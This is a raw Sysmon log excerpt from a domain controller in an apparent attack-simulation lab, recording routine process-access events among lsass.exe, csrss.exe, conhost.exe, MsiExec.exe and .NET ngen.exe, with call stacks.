14:43:44.508{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-9107-00000000F001}6148c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.477{7BD73061-6F20-613B-9207-00000000F001}62807032C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-9107-00000000F001}6148c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.477{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9207-00000000F001}6280C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.477{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9107-00000000F001}6148c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.477{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-9107-00000000F001}6148c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.461{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8F07-00000000F001}5912c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.461{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8F07-00000000F001}5912c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.445{7BD73061-6F20-613B-9007-00000000F001}65126360C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8F07-00000000F001}5912c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.430{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-9007-00000000F001}6512C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.430{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8F07-00000000F001}5912c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.430{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8F07-00000000F001}5912c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.430{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8D07-00000000F001}6640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.430{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8D07-00000000F001}6640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.397{7BD73061-6F20-613B-8E07-00000000F001}61684964C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8D07-00000000F001}6640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.397{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8E07-00000000F001}6168C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.397{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8D07-00000000F001}6640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.397{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8D07-00000000F001}6640c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.382{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8B07-00000000F001}6828c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.382{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8B07-00000000F001}6828c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.366{7BD73061-6F20-613B-8C07-00000000F001}63084312C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8B07-00000000F001}6828c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.366{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8C07-00000000F001}6308C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.350{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8B07-00000000F001}6828c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.350{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8B07-00000000F001}6828c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.350{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8907-00000000F001}5476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.350{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8907-00000000F001}5476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.319{7BD73061-6F20-613B-8A07-00000000F001}19245336C:\Windows\system32\conhost.exe{7BD73061-6F20-613B-8907-00000000F001}5476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.319{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8A07-00000000F001}1924C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000038942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.319{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9200520942C64A23C4C035582619BC6B,SHA256=E93138ACEC64F7B6C7FE3BE824732FDCCEEB293F060733D8631A313C5D7C607D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.304{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F20-613B-8907-00000000F001}5476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.304{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F20-613B-8907-00000000F001}5476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:44.304{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F20-613B-8707-00000000F001}6988c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 